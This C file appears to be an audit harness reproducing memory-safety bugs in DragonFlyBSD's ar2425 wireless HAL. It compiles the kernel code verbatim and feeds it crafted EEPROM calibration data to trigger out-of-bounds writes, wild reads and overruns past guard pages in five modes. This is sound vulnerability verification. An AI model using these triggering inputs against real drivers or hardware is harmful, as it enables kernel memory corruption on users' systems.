/*
 * ar2425_harness.c -- DF-4686 / DF-4687 / DF-4688 / DF-4689 verification harness
 *
 * Proves the memory-safety violations in
 *   sys/dev/netif/ath/ath_hal/ar5212/ar2425.c
 *   ar2425getGainBoundariesAndPdadcsForPowers() + ar2425FillVpdTable()
 *   (lines 246-494: GetLowerUpperIndex, ar2425FillVpdTable,
 *   interpolate_signed, ar2425getGainBoundariesAndPdadcsForPowers)
 * on DragonFlyBSD by compiling the REAL function bodies VERBATIM
 * (anchor-extracted at build time from the guest's /usr/src copy -- see
 * build.sh; md5-verified == the audit tree) against faithful struct
 * definitions.
 *
 * ar2425 DIVERGENCE from the ar2317/ar2316/ar2413/ar5413 twins (and why
 * this harness is shaped differently):
 *   - struct ar2425State (ar2425.c:36-45) holds ONLY base(72B) +
 *     pcdacTable[128] + Bank{1,2,3,6,7}Data -- bank row counts 1,1,1,29,3
 *     counted from the shipped ar5212.ini (lines 1516/1552/1588/1769/2166).
 *     sizeof == 468, pcdacTable @ 72, Bank1Data @ 328 (printed at runtime).
 *   - The VpdTable_L/R/I and Pmin_t2/Pmax_t2 scratch arrays are NOT struct
 *     members here: ar2425.c:367-379 declares them as FUNCTION-SCOPE
 *     STATICS ("to reduce stack usage").  In the kernel they therefore
 *     live in .bss/.data -- the DF-4686 span overflow marches through
 *     STATIC kernel storage (adjacent .bss symbols), not through a heap
 *     object.  build.sh strips exactly those 5 declaration lines from the
 *     verbatim extraction (asserting the count) and this harness #defines
 *     the identifiers onto an mmap'd "kernel statics emulation" region,
 *     declaration order (L,R,I,Pmin,Pmax), END at a page boundary with a
 *     PROT_NONE guard page after => any write that runs past the whole
 *     statics block faults at a precisely predictable address.
 *
 * Threat model mirrored: the EEPROM raw cal dataset (ee_rawDataset2413) is
 * attacker-crafted (v3/v5 eeprom card, AR2425/AR2417 RF).  The kernel
 * constructor bounds numVpd to {0,4,5} and pwr_t4/Vpd to EEPROM-derived
 * values (ah_eeprom_v3.c ar2413SetupRawDataset/ar2413EepromToRawDataset);
 * gain selection (xpd_mask), pwr_t4 order/spacing and Vpd deltas are
 * EEPROM-controlled.  pdGainOverlap_t2 comes from the 4-bit
 * AR_PHY_TPCRG5_PD_GAIN_OVERLAP field (0..15), so overlap 15 is
 * register-realistic.
 *
 * REACHABILITY NOTE (documented honestly, differs from DF-4683's framing):
 * the current decoder reads pwr deltas as UNSIGNED 4-bit fields
 * (dbm_delta_mask=0xF, ah_eeprom_v3.c:450) and builds pwr_t4 by cumulative
 * non-negative sums, so every constructor-legal pier curve is
 * non-descending with span <= 4 deltas x 15 = 60 half-dB.  Modes 4/5
 * therefore hand-build the RAW dataset the way DF-4683's harness did --
 * they prove the missing clamp in the FUNCTION (defense-in-depth / latent:
 * any future constructor change, or a divergent caller, re-arms it), not a
 * today-EEPROM-reachable corruption.  Modes 1/2/3 use only
 * constructor-legal shapes and are EEPROM-reachable as-is.
 *
 * Modes:
 *  1 (DF-4687): 4 used gains, Pmin pattern {0,58,58,58}, overlap 15
 *     => kk runs to 168 while pPDADCValues is priv->pcdacTable[128]
 *     => uint16 writes past the array into Bank1Data..Bank7Data
 *     (intra-object heap overflow; detected via 0xAAAA canary prefill).
 *  2 (DF-4688): xpd_mask==0 => every numVpd==0 => numPdGainsUsed==0.
 *     HALASSERT no-op in release, so:
 *       - ar2425.c:485 pPdGainBoundaries[ii-1], ii==0 uint32 => index
 *         0xFFFFFFFF => read at gb + 0x1FFFFFFFE (+8.59 GB) -- a WILD
 *         read, not a 2-byte under-read;
 *       - ar2425.c:489 pPDADCValues[kk-1], kk==0 => same wrap from the
 *         pcdacTable base;
 *       - ar2425.c:431 *pMinCalPower = Pmin_t2[0] reads the STALE STATIC
 *         (ar2425 keeps Pmin_t2 in .bss, unlike the stack in the
 *         ar2317/2413/2316/5413 twins => residue of the previous
 *         channel's calibration, 0xAAAA prefill emulates that).
 *  3 (DF-4689): 4 gains with FLAT curves (EEPROM deltas all 0)
 *     => sizeCurrVpdTable==0 for every gain => ar2425.c:465-466
 *     VpdTable_I[ii][sizeCurrVpdTable-1/-2] wraps to element
 *     0xFFFFFFFF/0xFFFFFFFE => read at row + 0x1FFFFFFFE.  Left unmapped
 *     => SIGSEGV si_addr exactly &VpdTable_I[0][0] + 0x1FFFFFFFE.
 *  4 (DF-4686 wrap variant): one pdGain with DESCENDING pwr_t4 =>
 *     Pmax_t2 < Pmin_t2 => (uint16_t)(Pmax-Pmin) at ar2425.c:311 wraps to
 *     ~65530 => ~131 KB of uint16 stores marching from VpdTable_L[0][0]
 *     through the whole statics block and off its end => SIGSEGV at the
 *     guard page == statics-block end (STORE target = OOB WRITE).
 *  5 (DF-4686 clamp variant): last gain spans 102 half-dB (> row width
 *     64) with a VALID ascending curve: FillVpdTable spills rows
 *     L[3]/R[3][64..] into neighboring statics, the interpolate loop
 *     (ar2425.c:419-424) writes VpdTable_I[3][0..101]; I[3][64] lands on
 *     Pmin_t2[0] (kernel: adjacent .bss symbols) and clobbers the loop's
 *     own re-evaluated bound to a uint16-wrapped ~65535 => the march
 *     continues past the block end => SIGSEGV at the guard page, with no
 *     constructor-level integer wrap anywhere.
 */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <signal.h>
#include <sys/mman.h>
#include <unistd.h>

/* ---------------- kernel shims (release-build semantics) -------------- */
typedef int HAL_BOOL;
#define AH_TRUE  1
#define AH_FALSE 0
#define AH_NULL  ((void *)0)
/* release build: AH_ASSERT undefined -> HALASSERT is a no-op */
#define HALASSERT(x) do { } while (0)
#define HALDEBUG(ah, lvl, ...) do { } while (0)

struct ath_hal;			/* opaque: only used as a pointer */

/* RF_HAL_FUNCS -- verbatim shape from ar5212.h:127-149
 * (void *priv + 8 fn ptrs = 9 slots = 72 bytes on x86_64) */
typedef struct RfHalFuncs {
	void *priv;
	void (*rfDetach)(struct ath_hal *);
	void (*writeRegs)(struct ath_hal *, unsigned int, unsigned int, int);
	uint32_t *(*getRfBank)(struct ath_hal *, int);
	void *setChannel;
	void *setRfRegs;
	void *setPowerTable;
	void *getChannelMaxMinPower;
	void *getNfAdjust;
} RF_HAL_FUNCS;

/* constants from ah_eeprom_v3.h:278-292 */
#define NUM_11A_EEPROM_CHANNELS_2413 10
#define PWR_TABLE_SIZE_2413          128
#define MAX_NUM_PDGAINS_PER_CHANNEL  4
#define NUM_POINTS_LAST_PDGAIN       5
#define MAX_PWR_RANGE_IN_HALF_DB     64
#define PD_GAIN_BOUNDARY_STRETCH_IN_HALF_DB 4

/* RAW_DATA_*_2413 -- verbatim from ah_eeprom_v3.h:294-314 */
typedef struct {
	uint16_t pd_gain;
	uint16_t numVpd;
	uint16_t Vpd[NUM_POINTS_LAST_PDGAIN];
	int16_t  pwr_t4[NUM_POINTS_LAST_PDGAIN];
} RAW_DATA_PER_PDGAIN_2413;

typedef struct {
	uint16_t channelValue;
	int16_t  maxPower_t4;
	uint16_t numPdGains;
	RAW_DATA_PER_PDGAIN_2413 pDataPerPDGain[MAX_NUM_PDGAINS_PER_CHANNEL];
} RAW_DATA_PER_CHANNEL_2413;

typedef struct {
	uint16_t pChannels[NUM_11A_EEPROM_CHANNELS_2413];
	uint16_t numChannels;
	uint16_t xpd_mask;
	RAW_DATA_PER_CHANNEL_2413 pDataPerChannel[NUM_11A_EEPROM_CHANNELS_2413];
} RAW_DATA_STRUCT_2413;

/* struct ar2425State -- verbatim member order from ar2425.c:36-45;
 * bank row counts are the real ar5212Bank{1,2,3,6,7}_2425 rows counted
 * from the shipped ar5212.ini (1,1,1,29,3).  NB: unlike the ar2317/
 * ar2316/ar2413/ar5413 twins the vpdTable_* scratch is NOT in this
 * struct (function-scope statics instead). */
struct ar2425State {
	RF_HAL_FUNCS base;
	uint16_t pcdacTable[PWR_TABLE_SIZE_2413];
	uint32_t Bank1Data[1];
	uint32_t Bank2Data[1];
	uint32_t Bank3Data[1];
	uint32_t Bank6Data[29];
	uint32_t Bank7Data[3];
};

/* ---- kernel .bss emulation for the function-scope statics
 * (ar2425.c:367-379, stripped from the verbatim extraction by build.sh
 * and re-bound here in DECLARATION order; placed with the block END at a
 * page boundary, guard page after -- kernel .bss symbol order is
 * linker-chosen, so "next object after the block" is emulated by the
 * guard: whatever it is, the block must not be escaped). */
struct vpd_statics {
	uint16_t m_VpdTable_L[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	uint16_t m_VpdTable_R[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	uint16_t m_VpdTable_I[MAX_NUM_PDGAINS_PER_CHANNEL][MAX_PWR_RANGE_IN_HALF_DB];
	int16_t  m_Pmin_t2[MAX_NUM_PDGAINS_PER_CHANNEL];
	int16_t  m_Pmax_t2[MAX_NUM_PDGAINS_PER_CHANNEL];
};
static struct vpd_statics *vpdst;
/* NB: fields are m_-prefixed so these kernel-name macros do not
 * collide with offsetof()/direct harness accesses. */
#define VpdTable_L (vpdst->m_VpdTable_L)
#define VpdTable_R (vpdst->m_VpdTable_R)
#define VpdTable_I (vpdst->m_VpdTable_I)
#define Pmin_t2 (vpdst->m_Pmin_t2)
#define Pmax_t2 (vpdst->m_Pmax_t2)

static struct ar2425State *harness_priv;

/* ---- VERBATIM kernel code: ar2425.c lines 246-494 (see build.sh) ---- */
#include "ar2425_extracted.inc"

/* ------------------------------- harness ------------------------------- */
static int g_mode;
static struct { uint16_t pre[2]; uint16_t gb[4]; } *sb;
static char *state_guard;	/* page right after the ar2425State object */
static char *vpd_guard;		/* page right after the vpd statics block */
static int16_t g_Pmin, g_Pmax;	/* FillVpdTable inputs (mode 4 printout) */

static uint64_t wild_expect(void)
{
	if (g_mode == 2) {	/* ar2425.c:485 pPdGainBoundaries[ii-1], ii==0 */
		return (uint64_t)((char *)sb->gb + 0x1FFFFFFFEull);
	}
	if (g_mode == 3) {	/* ar2425.c:465 VpdTable_I[0][(uint32)0-1] */
		return (uint64_t)((char *)vpdst->m_VpdTable_I[0] +
		    0x1FFFFFFFEull);
	}
	/* modes 4/5: OOB WRITE marching off the end of the statics block */
	return (uint64_t)vpd_guard;
}

static void segv_handler(int sig, siginfo_t *si, void *uc)
{
	uint64_t expect = wild_expect();
	(void)sig; (void)uc;
	printf("REPRODUCED: SIGSEGV si_addr=%p\n", si->si_addr);
	if (g_mode == 2 || g_mode == 3) {
		printf("  expected wild READ address %p (uint32 index wrap: "
		       "element index 0xFFFFFFFF x sizeof(uint16_t)=2 => "
		       "+0x1FFFFFFFE bytes = +8.59 GB)\n", (void *)expect);
		printf("%s\n", (uint64_t)si->si_addr == expect ?
		    "MATCH: wild OOB read proven (ar2425.c uint32 counter "
		    "underflow)" : "MISMATCH");
		_exit((uint64_t)si->si_addr == expect ? 0 : 2);
	}
	/* modes 4/5: the fault must be the STORE running off the block */
	printf("  vpd-statics block guard page at %p (block end); "
	       "si_addr is %zu bytes past block start (sizeof=%zu)\n",
	       (void *)vpd_guard,
	       (size_t)((char *)si->si_addr - (char *)vpdst),
	       sizeof(struct vpd_statics));
	if (g_mode == 4)
		printf("  FillVpdTable loop bound (uint16_t)(Pmax-Pmin) = "
		       "(uint16_t)(%d-%d) = %u entries (%d bytes) into a "
		       "64-wide row\n",
		       g_Pmax, g_Pmin,
		       (unsigned)(uint16_t)(g_Pmax - g_Pmin),
		       (int)(uint16_t)(g_Pmax - g_Pmin) * 2);
	if (g_mode == 5)
		printf("  (VpdTable_I[3][64] first landed on Pmin_t2 -- the "
		       "kernel-adjacent statics -- then the clobbered bound "
		       "wrapped and the march continued off the block)\n");
	printf("%s\n", (uint64_t)si->si_addr == expect ?
	    "MATCH: unbounded OOB WRITE ran off the end of the "
	    "function-static VpdTable_* block (guard page)" : "MISMATCH");
	_exit((uint64_t)si->si_addr == expect ? 0 : 2);
}

static void set_gain(RAW_DATA_STRUCT_2413 *d, int slot, int numVpd,
		     int pwr0_t4, int step_t4, int vpd0, int vpd_step)
{
	RAW_DATA_PER_PDGAIN_2413 *g =
	    &d->pDataPerChannel[0].pDataPerPDGain[slot];
	int i;
	g->pd_gain = slot;
	g->numVpd = numVpd;
	for (i = 0; i < numVpd; i++) {
		g->pwr_t4[i] = (int16_t)(pwr0_t4 + i * step_t4);
		g->Vpd[i]   = (uint16_t)(vpd0 + i * vpd_step);
	}
}

int main(int argc, char **argv)
{
	int mode = (argc > 1) ? atoi(argv[1]) : 1;
	RAW_DATA_STRUCT_2413 dataset;
	uint16_t rfXpdGain[4];
	int16_t minPower = 0x7c7c;
	int i, first_bad = -1, last_bad = -1;
	struct sigaction sa;
	char *mp, *vp;
	size_t ssz = sizeof(struct ar2425State);
	size_t vsz = sizeof(struct vpd_statics);

	setvbuf(stdout, NULL, _IONBF, 0);	/* survive SIGSEGV for output */
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = segv_handler;
	sa.sa_flags = SA_SIGINFO;
	sigaction(SIGSEGV, &sa, NULL);

	sb = malloc(sizeof(*sb));			/* kernel: caller stack */
	memset(sb, 0, sizeof(*sb));
	g_mode = mode;

	/* Emulate the kernel heap allocation of ar2425State (ar2425RfAttach,
	 * ar2425.c:694): 2 pages RW, struct END at the guard boundary. */
	mp = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE,
		  MAP_ANON | MAP_PRIVATE, -1, 0);
	if (mp == MAP_FAILED || mprotect(mp + 0x2000, 0x1000, PROT_NONE)) {
		printf("mmap/mprotect of state storage failed\n");
		return 3;
	}
	state_guard = mp + 0x2000;
	harness_priv = (struct ar2425State *)(mp + 0x2000 - ssz);

	/* Emulate the kernel static storage for the function-scope
	 * statics (ar2425.c:367-379). */
	vp = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE,
		  MAP_ANON | MAP_PRIVATE, -1, 0);
	if (vp == MAP_FAILED || mprotect(vp + 0x2000, 0x1000, PROT_NONE)) {
		printf("mmap/mprotect of vpd statics failed\n");
		return 3;
	}
	vpd_guard = vp + 0x2000;
	vpdst = (struct vpd_statics *)(vp + 0x2000 - vsz);

	memset(harness_priv, 0xAA, ssz);
	memset(vpdst, 0xAA, vsz);
	memset(&dataset, 0, sizeof(dataset));
	memset(rfXpdGain, 0, sizeof(rfXpdGain));

	dataset.numChannels = 1;			/* single pier  */
	dataset.pChannels[0] = 2437;			/* == channel   */
	dataset.xpd_mask = 0xF;

	if (mode == 1) {
		/* DF-4687: 4 gains, spans >= 2 (avoids the independent
		 * lines-465-466 uint32 wrap = DF-4689, isolating the kk
		 * overflow), Pmin pattern {0,58,58,58}.
		 * pwr_t4[0]=4*pwr_I, +2*delta per point (EEPROM shape). */
		set_gain(&dataset, 3, 4,   0, 4, 0x10, 0x3F); /* Pmin0  Pmax6  */
		set_gain(&dataset, 2, 4, 116, 4, 0x10, 0x3F); /* Pmin58 Pmax64 */
		set_gain(&dataset, 1, 4, 116, 4, 0x10, 0x3F);
		set_gain(&dataset, 0, 4, 116, 4, 0x10, 0x3F);
	} else if (mode == 3) {
		/* DF-4689: FLAT curves (EEPROM deltas all 0, legal 4-bit
		 * values) => sizeCurrVpdTable == 0 for every gain */
		set_gain(&dataset, 3, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 2, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 1, 4, 124, 0, 0x10, 0x3F);
		set_gain(&dataset, 0, 4, 124, 0, 0x10, 0x3F);
	} else if (mode == 4) {
		/* DF-4686 (wrap variant): DESCENDING pwr_t4 curve
		 * => Pmax_t2(84) < Pmin_t2(90) =>
		 * (uint16_t)(Pmax-Pmin) = 65530-entry FillVpdTable loop */
		set_gain(&dataset, 3, 4, 180, -4, 0x10, 0x3F);
		g_Pmin = 90; g_Pmax = 84;
	} else if (mode == 5) {
		/* DF-4686 (clamp variant): last gain spans 102 half-dB,
		 * ascending (VALID data, no wrap) -- wider than the
		 * 64-entry row => spills into neighboring statics and off
		 * the block end */
		set_gain(&dataset, 3, 4, 116, 4, 0x10, 0x3F); /* span 6  */
		set_gain(&dataset, 2, 4, 116, 4, 0x10, 0x3F);
		set_gain(&dataset, 1, 4, 116, 4, 0x10, 0x3F);
		set_gain(&dataset, 0, 4,   0, 68, 0x10, 0x3F); /* span102 */
	} else {
		/* DF-4688 (mode 2): xpd_mask==0 -> all numVpd==0 (the shape
		 * ar2413SetupRawDataset produces for xpd_mask 0) */
		dataset.xpd_mask = 0;
	}

	sb->pre[0] = 0x1111; sb->pre[1] = 0x2222;

	if (mode == 2) {
		/* Emulate the kernel direct map: in the kernel the +8.6GB
		 * wild read lands on mapped RAM (garbage) instead of
		 * faulting.  Map the exact wild pages so the call COMPLETES
		 * and we observe the value propagate. */
		uint64_t wa[2];
		void *p1, *p2;
		wa[0] = (uint64_t)((char *)sb->gb + 0x1FFFFFFFEull) & ~0xFFFull;
		wa[1] = (uint64_t)((char *)harness_priv->pcdacTable +
				    0x1FFFFFFFEull) & ~0xFFFull;
		p1 = mmap((void *)wa[0], 0x1000, PROT_READ | PROT_WRITE,
			  MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
		p2 = mmap((void *)wa[1], 0x1000, PROT_READ | PROT_WRITE,
			  MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0);
		if (p1 == MAP_FAILED || p2 == MAP_FAILED) {
			printf("mmap of wild pages failed\n");
			return 3;
		}
		*(uint16_t *)((char *)sb->gb + 0x1FFFFFFFEull) = 0x5A5A;
		*(uint16_t *)((char *)harness_priv->pcdacTable +
			       0x1FFFFFFFEull) = 0x5A5A;
		printf("mapped wild pages %p %p, seeded 0x5A5A\n", p1, p2);
	}

	printf("sizeof(ar2425State)=%zu offsetof(pcdacTable)=%zu "
	       "Bank1Data=%zu Bank6Data=%zu Bank7Data=%zu state_guard=%p | "
	       "sizeof(vpd_statics)=%zu L=%zu I=%zu Pmin_t2=%zu vpd_guard=%p\n",
	       ssz,
	       offsetof(struct ar2425State, pcdacTable),
	       offsetof(struct ar2425State, Bank1Data),
	       offsetof(struct ar2425State, Bank6Data),
	       offsetof(struct ar2425State, Bank7Data),
	       state_guard,
	       vsz,
	       offsetof(struct vpd_statics, m_VpdTable_L),
	       offsetof(struct vpd_statics, m_VpdTable_I),
	       offsetof(struct vpd_statics, m_Pmin_t2),
	       vpd_guard);

	ar2425getGainBoundariesAndPdadcsForPowers(
	    (struct ath_hal *)1 /* ah: unused by the extracted code */,
	    2437 /* channel == pChannels[0] */,
	    &dataset,
	    15 /* pdGainOverlap_t2: max of the 4-bit TPCRG5 field */,
	    &minPower, sb->gb, rfXpdGain, harness_priv->pcdacTable);

	printf("mode=%d completed minPower=0x%04x\n", mode, (uint16_t)minPower);

	if (mode == 1) {
		/* DF-4687 detector: the bank region is never legitimately
		 * written by this function; any cell != 0xAAAA (u16 view)
		 * was clobbered by pPDADCValues[kk++] walking past
		 * pcdacTable[127].  Bank1..7 = (1+1+1+29+3) u32 = 70 u16. */
		uint16_t *cells = (uint16_t *)harness_priv->Bank1Data;
		int ncells = 70;
		for (i = 0; i < ncells; i++) {
			if (cells[i] != (uint16_t)0xAAAA) {
				if (first_bad < 0) first_bad = i;
				last_bad = i;
			}
		}
		if (first_bad < 0) {
			printf("DF-4687: NO overflow detected\n");
			return 1;
		}
		printf("DF-4687 REPRODUCED: pPDADCValues write walked past "
		       "pcdacTable[127]: first clobbered u16 cell %d bytes "
		       "past array end, last %d bytes past "
		       "(value 0x%04x) => kk ran to %d\n",
		       first_bad * 2, last_bad * 2 + 1, cells[first_bad],
		       PWR_TABLE_SIZE_2413 + last_bad + 1);
		printf("  => intra-object heap OOB WRITE past "
		       "pcdacTable[PWR_TABLE_SIZE_2413=128] into Bank data "
		       "(reprogrammed to the radio at ar2425.c:200-210)\n");
		return 0;
	}

	if (mode == 2) {
		/* DF-4688 detectors: the +0x1FFFFFFFE wild-read values
		 * (0x5A5A, read from pages ~8.6GB above the arrays, as the
		 * kernel direct map would allow) must have propagated into
		 * the outputs. */
		printf("gainBoundaries[0] = 0x%04x (== 0x5A5A => wild read at "
		       "gb+0x1FFFFFFFE, ar2425.c:485, then written to TPCRG5 "
		       "by ar2425SetPowerTable:557-562)\n", sb->gb[0]);
		printf("pcdacTable[0] = 0x%04x (== 0x5A5A => wild read at "
		       "pcdacTable+0x1FFFFFFFE, ar2425.c:489, replicated "
		       "across the pdadc table / 32 PHY reg writes "
		       "ar2425.c:548-555)\n",
		       harness_priv->pcdacTable[0]);
		printf("minPower out = 0x%04x (stale STATIC Pmin_t2[0] read "
		       "at ar2425.c:431 -- ar2425 keeps Pmin_t2 in .bss, so "
		       "this is residue of a previous channel's cal, here "
		       "the 0xAAAA prefill; dataset carries no power "
		       "data)\n", (uint16_t)minPower);
		if (sb->gb[0] == 0x5A5A &&
		    harness_priv->pcdacTable[0] == 0x5A5A) {
			printf("DF-4688 REPRODUCED: uint32-underflow wild "
			       "reads at ar2425.c:485/:489 + stale-static "
			       "read at :431\n");
			return 0;
		}
		return 1;
	}
	/* modes 3/4/5 prove their case in the SIGSEGV handler;
	 * reaching this point (no fault) is the EXPECTED outcome on a
	 * FIXED build (exit 1 so scripts can distinguish). */
	printf("no SIGSEGV: function completed on this build\n");
	return 1;
}
